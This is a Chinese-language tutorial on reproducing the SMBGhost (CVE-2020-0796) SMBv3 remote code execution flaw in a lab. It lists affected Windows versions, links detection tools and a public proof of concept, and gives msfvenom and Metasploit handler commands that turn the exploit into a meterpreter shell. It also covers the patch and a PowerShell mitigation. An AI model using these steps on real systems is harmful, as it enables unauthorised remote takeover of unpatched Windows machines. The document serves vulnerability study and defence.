CVE-2020-0796 漏洞復現(rce)含exp教程
0X00漏洞簡介
Microsoft Windows和Microsoft Windows Server都是美國微軟(Microsoft)公司的產品,Microsoft Windows是一套個人設備使用的操作系統,Microsoft Windows Server是一套服務器操作系統,Server Message Block是其中的一個服務器信息傳輸協議。
微軟公布了在Server Message Block 3.0(SMBv3)中發現的“蠕蟲型”預授權遠程代碼執行漏洞。
0X01漏洞概述
(CVE-2020-0796 SMBGhost)該漏洞是由於SMBv3協議在處理惡意的壓縮數據包時出錯所造成的,它可讓遠程且未經身份驗證的攻擊者在目標系統上執行任意代碼。
0X02影響版本
適用於32位系統的Windows 10版本1903
Windows 10 1903版(用於基於x64的系統)
Windows 10 1903版(用於基於ARM64的系統)
Windows Server 1903版(服務器核心安裝)
適用於32位系統的Windows 10版本1909
Windows 10版本1909(用於基於x64的系統)
Windows 10 1909版(用於基於ARM64的系統)
Windows Server版本1909(服務器核心安裝)
0X03環境搭建
可在虛擬機中搭建win10系統來進行復現。如有需要可留言獲取iso文件。
0X04漏洞檢測
漏洞檢測腳本有很多這里簡單分享倆個。
gitHub檢測工具:https://github.com/ollypwn/SMBGhost
某信cert檢測工具私聊可獲取。
某檢測工具演示:
p地址為win10地址,本地測試是需關閉win10防火牆成可ping通狀態。
0X05漏洞復現
最近剛剛爆出了rce 的exp所以趕緊復現一手。
Exp地址:https://github.com/chompie1337/SMBGhost_RCE_PoC
該exp使用環境為python3
下載完成后將該exp放到kaili虛擬機中
啟動msf
使用msf生成shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
執行該命令后會在桌面生成一個shellcode.txt
將生成的shellcode替換exp中的exploit.py中的USER_PAYLOAD保存即可。
使用kaili中的msf開啟監聽
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #設置反彈模式
msf5 exploit(multi/handler) > set rhost 192.168.31.137 #設置目標靶機IP地址
msf5 exploit(multi/handler) > set lport 3333 #設置監聽端口
msf5 exploit(multi/handler) > exploit
在kail中進入exp文件夾,執行exp文件
python3 exploit.py ip 192.168.31.137
即可看到msf中收到了回顯成功連接。
如復現沒有成功可能的原因有:
1.msf監聽端口被占用
2.windows10設置自動更新已自動打補丁
3.shellcode未替換正確
4.exp端口和msf監聽端口不一致
0X06漏洞修復
目前廠商已發布升級補丁以修復漏洞,補丁獲取鏈接:
https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2020-0796
或者你可以使用以下PowerShell命令禁用SMBv3服務的壓縮(無需重新啟動):
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 –Force
此外你還可以通過禁止SMB的流量流向外網來防御攻擊。